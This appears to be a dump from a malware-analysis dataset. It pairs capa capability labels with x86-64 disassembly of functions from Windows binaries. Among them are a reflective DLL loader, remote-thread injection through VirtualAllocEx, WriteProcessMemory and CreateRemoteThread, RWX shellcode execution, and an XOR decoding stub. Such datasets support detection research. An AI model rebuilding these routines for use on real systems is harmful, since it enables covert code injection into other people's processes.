joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4c0060
Capabilities:
Access peb ldr_data

Disassembly:
lea r12, [rsp - 0x30]
cmp r12, qword [r14 + 0x10]
jbe 0x4c02c3
sub rsp, 0xb0
mov qword [rsp + 0xa8], rbp
lea rbp, [rsp + 0xa8]
test rax, rax
je 0x4c02a7
mov qword [rsp + 0xb8], rax
mov rbx, qword [rax + 8]
mov rdx, qword [rax]
mov rcx, qword [rax + 0x10]
test rbx, rbx
jne 0x4c00ad
xor ebx, ebx
xor ecx, ecx
jmp 0x4c00c0
mov rax, rdx
call fcn.004b5300
mov rcx, rax
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x88], rcx
mov qword [rsp + 0x48], rbx
cmp qword [rax + 0x28], 0
je 0x4c01db
mov rcx, qword [rax + 0x18]
mov rax, rcx
nop
call fcn.004748a0
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x58], rbx
mov rcx, qword [rsp + 0xb8]
mov r8, qword [rcx + 0x20]
mov r9, qword [rcx + 0x28]
mov rcx, qword [rsp + 0x48]
lea rdi, [0x004ec5a9]
mov esi, 1
lea rax, [rsp + 0x68]
mov rbx, qword [rsp + 0x88]
call fcn.0044bd40
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0x60], rbx
mov qword [rsp], rax
mov qword [rsp + 8], rbx
mov byte [rsp + 0x10], 0x3a
call fcn.00402ae0
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
cmp qword [rsp + 0x18], 0
nop
jl 0x4c019e
xor eax, eax
lea rbx, [0x004ec5c1]
mov ecx, 1
mov rdi, qword [rsp + 0xa0]
mov rsi, qword [rsp + 0x60]
lea r8, [0x004ec632]
mov r9d, 2
mov r10, qword [rsp + 0x98]
mov r11, qword [rsp + 0x58]
call fcn.0044be20
jmp 0x4c01cb
xor eax, eax
mov rbx, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x60]
lea rdi, [0x004ec5b4]
mov esi, 1
mov r8, qword [rsp + 0x98]
mov r9, qword [rsp + 0x58]
call fcn.0044bd40
mov rbp, qword [rsp + 0xa8]
add rsp, 0xb0
ret
mov rax, qword [rax + 0x18]
nop
call fcn.004748a0
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x50], rbx
mov rcx, qword [rsp + 0x88]
mov qword [rsp], rcx
mov rdx, qword [rsp + 0x48]
mov qword [rsp + 8], rdx
mov byte [rsp + 0x10], 0x3a
call fcn.00402ae0
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
cmp qword [rsp + 0x18], 0
jl 0x4c026a
xor eax, eax
lea rbx, [0x004ec5c1]
mov ecx, 1
mov rdi, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x48]
lea r8, [0x004ec632]
mov r9d, 2
mov r10, qword [rsp + 0x90]
mov r11, qword [rsp + 0x50]
call fcn.0044be20
jmp 0x4c0297
xor eax, eax
mov rbx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x48]
lea rdi, [0x004ec5b4]
mov esi, 1
mov r8, qword [rsp + 0x90]
mov r9, qword [rsp + 0x50]
call fcn.0044bd40
mov rbp, qword [rsp + 0xa8]
add rsp, 0xb0
ret
lea rax, [0x004ec95a]
mov ebx, 5
mov rbp, qword [rsp + 0xa8]
add rsp, 0xb0
ret
mov qword [rsp + 8], rax
call fcn.0045e960
mov rax, qword [rsp + 8]
jmp fcn.004c0060
Function at 0x140027c84
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14001b594
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14001b594
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x140027dd4
cmp rax, 0xffffffffffffffff
je 0x140027dd4
xor edi, edi
test rbp, rbp
jle 0x140027d7f
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14001dea8
mov rbx, rax
test rax, rax
jne 0x140027d0c
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x140027d75
mov edx, 0x8000
mov ecx, r14d
call fcn.140018f00
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14001c270
cmp eax, 0xffffffff
je 0x140027d55
cdqe
sub rbp, rax
test rbp, rbp
jg 0x140027d1c
mov edx, r15d
mov ecx, r14d
call fcn.140018f00
jmp 0x140027d75
cmp byte [rsi + 0x38], dil
je 0x140027d6c
cmp dword [rsi + 0x34], 5
jne 0x140027d6c
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x140027d75
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.140019c58
jmp 0x140027de8
jns 0x140027de8
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14001b594
cmp rax, 0xffffffffffffffff
jne 0x140027da0
cmp byte [rsi + 0x30], dil
je 0x140027de8
mov edi, dword [rsi + 0x2c]
jmp 0x140027de8
mov ecx, r14d
call fcn.140017a2c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x140027de8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x140027de8
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x140027de1
mov eax, dword [rsi + 0x2c]
jmp 0x140027de6
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14001b594
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x140028ee0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140028f08
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140028f08
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret

Function at 0x140f6bba0
Capabilities:
Encode data using xor

Disassembly:
jmp 0x140f6bbaa
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x140f6bbd3
pop rbp
sub rbp, 0x33
sub rbp, 0xf6bba0
sub rsp, 0x20
jmp 0x140f6bbf2
mov rax, 0xf6bba0
add rax, rbp
add rax, 0x84
mov rcx, 0x60b
mov rdx, 0x267819ff
xor byte [rax], dl
inc rax
dec rcx
jne 0x140f6bc11
jmp 0x140f6bc28
mov bh, 0x76
invalid
Function at 0x140027c84
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14001b594
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14001b594
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x140027dd4
cmp rax, 0xffffffffffffffff
je 0x140027dd4
xor edi, edi
test rbp, rbp
jle 0x140027d7f
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14001dea8
mov rbx, rax
test rax, rax
jne 0x140027d0c
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x140027d75
mov edx, 0x8000
mov ecx, r14d
call fcn.140018f00
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14001c270
cmp eax, 0xffffffff
je 0x140027d55
cdqe
sub rbp, rax
test rbp, rbp
jg 0x140027d1c
mov edx, r15d
mov ecx, r14d
call fcn.140018f00
jmp 0x140027d75
cmp byte [rsi + 0x38], dil
je 0x140027d6c
cmp dword [rsi + 0x34], 5
jne 0x140027d6c
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x140027d75
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.140019c58
jmp 0x140027de8
jns 0x140027de8
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14001b594
cmp rax, 0xffffffffffffffff
jne 0x140027da0
cmp byte [rsi + 0x30], dil
je 0x140027de8
mov edi, dword [rsi + 0x2c]
jmp 0x140027de8
mov ecx, r14d
call fcn.140017a2c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x140027de8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x140027de8
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x140027de1
mov eax, dword [rsi + 0x2c]
jmp 0x140027de6
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14001b594
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x140028ee0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140028f08
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140028f08
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret

Function at 0x14084dfd1
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x31115c1a
movsx edx, dl
jns 0x140987ef4
invalid
lea rdx, [rdx + rdx + 0x2a5d6ba3]
mov rdx, qword [rsp + 8]
add qword [rsp + 0x20], 0xffffffffbf71a704
push qword [rsp + 0x10]
popfq
lea rsp, [rsp + 0x28]
call fcn.140b0a2fe
sub al, ch
in eax, 0x23
sbb byte [rax], al
adc eax, 0x48e83865
xor al, 0x72
fdiv st(1)
xor eax, 0x12bbb875
imul eax, dword [rsi - 0x1f8094d9], 0x7fadc784
cmp edx, dword [rbp + 0x65806d87]
jne 0x140987f13
stc
push rcx
retf 0x478d
Function at 0x2f1fe19c0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp - 0x28], 0
mov qword [rbp - 8], 0
cmp qword [rbp + 0x10], 0
jne 0x2f1fe19f1
mov eax, 0
jmp 0x2f1fe1b50
mov rax, qword [rbp + 0x10]
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x30], 0
mov qword [rbp - 0x10], 0
mov qword [rbp - 0x18], 0
mov qword [rbp - 0x38], 0
mov qword [rbp - 0x40], 0
mov qword [rbp - 0x48], 0
mov rax, qword [rbp - 0x28]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 0x28]
add rax, rdx
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
add rax, 0x88
mov qword [rbp - 0x40], rax
mov rax, qword [rbp - 0x40]
mov eax, dword [rax]
mov edx, eax
mov rax, qword [rbp - 0x28]
add rax, rdx
mov qword [rbp - 0x48], rax
mov rax, qword [rbp - 0x48]
mov eax, dword [rax + 0x1c]
mov edx, eax
mov rax, qword [rbp - 0x28]
add rax, rdx
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x48]
mov eax, dword [rax + 0x20]
mov edx, eax
mov rax, qword [rbp - 0x28]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x48]
mov eax, dword [rax + 0x24]
mov edx, eax
mov rax, qword [rbp - 0x28]
add rax, rdx
mov qword [rbp - 0x18], rax
mov rax, qword [rbp + 0x18]
cmp eax, 0xffff
ja 0x2f1fe1adb
mov rax, qword [rbp + 0x18]
mov eax, eax
movzx edx, ax
mov rax, qword [rbp - 0x48]
mov eax, dword [rax + 0x10]
mov ecx, eax
mov rax, rdx
sub rax, rcx
shl rax, 2
add qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x30]
mov eax, dword [rax]
mov edx, eax
mov rax, qword [rbp - 0x28]
add rax, rdx
mov qword [rbp - 8], rax
jmp 0x2f1fe1b4c
mov rax, qword [rbp - 0x48]
mov eax, dword [rax + 0x18]
mov dword [rbp - 0x1c], eax
jmp 0x2f1fe1b3f
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
mov edx, eax
mov rax, qword [rbp - 0x28]
add rax, rdx
mov qword [rbp - 0x50], rax
mov rdx, qword [rbp + 0x18]
mov rax, qword [rbp - 0x50]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x2f1fe1b35
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
shl rax, 2
add qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x30]
mov eax, dword [rax]
mov edx, eax
mov rax, qword [rbp - 0x28]
add rax, rdx
mov qword [rbp - 8], rax
jmp 0x2f1fe1b4c
add qword [rbp - 0x10], 4
add qword [rbp - 0x18], 2
mov eax, dword [rbp - 0x1c]
lea edx, [rax - 1]
mov dword [rbp - 0x1c], edx
test eax, eax
jne 0x2f1fe1ae7
mov rax, qword [rbp - 8]
add rsp, 0x70
pop rbp
ret
Function at 0x2f1fe1bb4
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
mov word [rbp - 2], 0
mov qword [rbp - 0x10], 0
mov qword [rbp - 0x18], 0
mov rax, qword [rbp + 0x18]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x18]
add rax, rdx
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
add rax, 0x18
mov rdx, rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx eax, ax
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax + 0x14]
cmp dword [rbp + 0x10], eax
jae 0x2f1fe1c1f
mov eax, dword [rbp + 0x10]
jmp 0x2f1fe1d02
mov word [rbp - 2], 0
jmp 0x2f1fe1ceb
movzx edx, word [rbp - 2]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp - 0x10]
add rax, rdx
mov eax, dword [rax + 0xc]
cmp dword [rbp + 0x10], eax
jb 0x2f1fe1ce0
movzx edx, word [rbp - 2]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp - 0x10]
add rax, rdx
mov ecx, dword [rax + 0xc]
movzx edx, word [rbp - 2]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp - 0x10]
add rax, rdx
mov eax, dword [rax + 0x10]
add eax, ecx
cmp dword [rbp + 0x10], eax
jae 0x2f1fe1ce0
movzx edx, word [rbp - 2]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp - 0x10]
add rax, rdx
mov eax, dword [rax + 0xc]
mov edx, dword [rbp + 0x10]
mov ecx, edx
sub ecx, eax
movzx edx, word [rbp - 2]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp - 0x10]
add rax, rdx
mov eax, dword [rax + 0x14]
add eax, ecx
jmp 0x2f1fe1d02
movzx eax, word [rbp - 2]
add eax, 1
mov word [rbp - 2], ax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
cmp word [rbp - 2], ax
jb 0x2f1fe1c2a
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x2f1fe1d08
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov qword [rbp + 0x10], rcx
mov qword [rbp - 0x20], 0
mov qword [rbp - 0x28], 0
mov qword [rbp - 8], 0
mov qword [rbp - 0x30], 0
mov qword [rbp - 0x10], 0
mov dword [rbp - 0x14], 0
mov dword [rbp - 0x34], 2
mov rax, qword [rbp + 0x10]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 0x20]
add rax, rdx
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
movzx eax, word [rax + 0x18]
cmp ax, 0x10b
jne 0x2f1fe1d85
cmp dword [rbp - 0x34], 1
je 0x2f1fe1dad
mov eax, 0
jmp 0x2f1fe1eee
mov rax, qword [rbp - 0x28]
movzx eax, word [rax + 0x18]
cmp ax, 0x20b
jne 0x2f1fe1da3
cmp dword [rbp - 0x34], 2
je 0x2f1fe1dad
mov eax, 0
jmp 0x2f1fe1eee
mov eax, 0
jmp 0x2f1fe1eee
mov rax, qword [rbp - 0x28]
add rax, 0x88
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov rdx, qword [rbp - 0x20]
mov ecx, eax
call dbg.Rva2Offset
mov edx, eax
mov rax, qword [rbp - 0x20]
add rax, rdx
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
mov eax, dword [rax + 0x20]
mov rdx, qword [rbp - 0x20]
mov ecx, eax
call dbg.Rva2Offset
mov edx, eax
mov rax, qword [rbp - 0x20]
add rax, rdx
mov qword [rbp - 8], rax
mov rax, qword [rbp - 0x28]
mov eax, dword [rax + 0x1c]
mov rdx, qword [rbp - 0x20]
mov ecx, eax
call dbg.Rva2Offset
mov edx, eax
mov rax, qword [rbp - 0x20]
add rax, rdx
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x28]
mov eax, dword [rax + 0x24]
mov rdx, qword [rbp - 0x20]
mov ecx, eax
call dbg.Rva2Offset
mov edx, eax
mov rax, qword [rbp - 0x20]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x28]
mov eax, dword [rax + 0x18]
mov dword [rbp - 0x14], eax
jmp 0x2f1fe1ec9
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov rdx, qword [rbp - 0x20]
mov ecx, eax
call dbg.Rva2Offset
mov edx, eax
mov rax, qword [rbp - 0x20]
add rax, rdx
mov qword [rbp - 0x40], rax
mov rax, qword [rbp - 0x40]
lea rdx, str.ReflectiveLoader
mov rcx, rax
call sym.strstr
test rax, rax
je 0x2f1fe1ebf
mov rax, qword [rbp - 0x28]
mov eax, dword [rax + 0x1c]
mov rdx, qword [rbp - 0x20]
mov ecx, eax
call dbg.Rva2Offset
mov edx, eax
mov rax, qword [rbp - 0x20]
add rax, rdx
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x10]
movzx eax, word [rax]
movzx eax, ax
shl rax, 2
add qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x30]
mov eax, dword [rax]
mov rdx, qword [rbp - 0x20]
mov ecx, eax
call dbg.Rva2Offset
jmp 0x2f1fe1eee
add qword [rbp - 8], 4
add qword [rbp - 0x10], 2
mov eax, dword [rbp - 0x14]
lea edx, [rax - 1]
mov dword [rbp - 0x14], edx
test eax, eax
jne 0x2f1fe1e45
lea rax, [0x2f1feb121]
mov rcx, rax
call dbg.printf
mov eax, 0
add rsp, 0x60
pop rbp
ret
Function at 0x2f1fe1ef4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
mov qword [rbp - 0x20], 0
mov dword [rbp - 4], 0
mov dword [rbp - 0x24], 0
mov dword [rbp - 0x28], 0
mov qword [rbp - 0x10], 0
mov qword [rbp - 0x18], 0
cmp qword [rbp + 0x10], 0
je 0x2f1fe1f3d
cmp dword [rbp + 0x18], 0
jne 0x2f1fe1f47
mov eax, 0
jmp 0x2f1fe1fea
mov rax, qword [rbp + 0x10]
mov rcx, rax
call dbg.GetReflectiveLoaderOffset
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 0
je 0x2f1fe1fe6
mov edx, dword [rbp - 4]
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x10], rax
mov edx, dword [rbp + 0x18]
lea rcx, [rbp - 0x24]
mov rax, qword [rbp + 0x10]
mov r9, rcx
mov r8d, 0x40
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
test eax, eax
je 0x2f1fe1fe6
mov rax, qword [rbp - 0x10]
call rax
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
je 0x2f1fe1fc6
lea rdx, [rbp - 0x20]
mov rax, qword [rbp - 0x18]
mov r8, rdx
mov edx, 6
mov ecx, 0
call rax
test eax, eax
jne 0x2f1fe1fc6
mov qword [rbp - 0x20], 0
mov ecx, dword [rbp - 0x24]
mov edx, dword [rbp + 0x18]
lea r8, [rbp - 0x28]
mov rax, qword [rbp + 0x10]
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp - 0x20]
add rsp, 0x50
pop rbp
ret
Function at 0x2f1fe1ff0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov dword [rbp + 0x20], r8d
mov qword [rbp + 0x28], r9
mov dword [rbp - 0xc], 0
mov qword [rbp - 0x18], 0
mov qword [rbp - 0x20], 0
mov qword [rbp - 8], 0
mov dword [rbp - 0x24], 0
mov dword [rbp - 0x28], 0
cmp qword [rbp + 0x10], 0
je 0x2f1fe2135
cmp qword [rbp + 0x18], 0
je 0x2f1fe2135
cmp dword [rbp + 0x20], 0
je 0x2f1fe2135
mov rax, qword [rbp + 0x18]
mov rcx, rax
call dbg.GetReflectiveLoaderOffset
mov dword [rbp - 0x24], eax
cmp dword [rbp - 0x24], 0
jne 0x2f1fe207e
lea rax, [0x2f1feb124]
mov rcx, rax
call dbg.printf
jmp 0x2f1fe2135
mov edx, dword [rbp + 0x20]
mov rax, qword [rbp + 0x10]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
je 0x2f1fe2131
mov r8d, dword [rbp + 0x20]
mov rcx, qword [rbp + 0x18]
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp + 0x10]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
test eax, eax
je 0x2f1fe2134
mov edx, dword [rbp - 0x24]
mov rax, qword [rbp - 0x18]
add rax, rdx
mov qword [rbp - 0x20], rax
mov rcx, qword [rbp - 0x20]
mov rax, qword [rbp + 0x10]
lea rdx, [rbp - 0x28]
mov qword [rsp + 0x30], rdx
mov dword [rsp + 0x28], 0
mov rdx, qword [rbp + 0x28]
mov qword [rsp + 0x20], rdx
mov r9, rcx
mov r8d, 0x100000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
mov qword [rbp - 8], rax
jmp 0x2f1fe2135
nop
jmp 0x2f1fe2135
nop
mov rax, qword [rbp - 8]
add rsp, 0x70
pop rbp
ret

Function at 0x2f1fe23e0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop
Function at 0x2f1fe2de2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2f1fee0a8]
test eax, eax
je 0x2f1fe2e7a
lea rax, [0x2f1fee080]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2f1fee0b0]
mov qword [rbp - 8], rax
jmp 0x2f1fe2e5e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2f1fe2e52
cmp qword [rbp - 0x10], 0
je 0x2f1fe2e52
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2f1fe2e18
lea rax, [0x2f1fee080]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2f1fe2e7b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2f1fe2f80
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2f1fe2fa8
mov eax, 0
jmp 0x2f1fe2ff6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2f1fe2fd1
mov eax, 0
jmp 0x2f1fe2ff6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2f1fe2ff1
mov eax, 0
jmp 0x2f1fe2ff6
mov eax, 1
add rsp, 0x20
pop rbp
ret

Function at 0x2f1fe2ffc
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2f1fe307a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2f1fe3071
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2f1fe3071
mov rax, qword [rbp - 8]
jmp 0x2f1fe308f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2f1fe3044
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140002850
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000289a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000289a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000289a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000289a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000289a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000289c
xor al, al
add rsp, 0x28
ret